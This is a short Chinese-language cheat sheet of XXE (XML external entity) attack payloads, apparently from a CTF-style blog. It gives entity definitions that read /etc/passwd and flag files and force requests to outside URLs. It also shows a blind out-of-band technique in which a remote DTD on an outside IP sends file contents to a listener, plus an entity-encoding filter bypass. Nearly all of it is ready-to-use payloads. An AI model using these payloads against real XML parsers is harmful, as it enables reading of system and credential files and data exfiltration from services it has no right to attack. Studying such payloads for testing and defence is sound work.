<?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY Y SYSTEM "file:///etc/passwd"> ]> <user>&Y</user> //上传该文件就会返回/etc/passwd的内容
方式2:
1 2 3 4 5
<?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY Y SYSTEM "http://www.baidu.com"> ]> <user>&Y</user>
方式3(数据外带—在xxe的盲注中可以使用):
1 2 3 4 5 6 7 8 9 10
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://174.1.66.167/shell.dtd"> %remote; ]>
shell.dtd <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:5555/?flag=%file;'>"> %int; %send;
方式4(内部DTD+参数外部实体):
1 2 3 4 5 6 7
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY %name SYSTEM "file:///etc/passwd"> %name; ]> //注意:%name(参数实体)是在 DTD 中被引用的,而&name(其余实体)实在 xml 文档中被引用 的。
绕过手法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
双重实体编码绕过 <?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % xml "<!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core>       <message>&xxe;</message> </core>">
%xml;
编码内容: <!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core> <message>&xxe;</message> </core>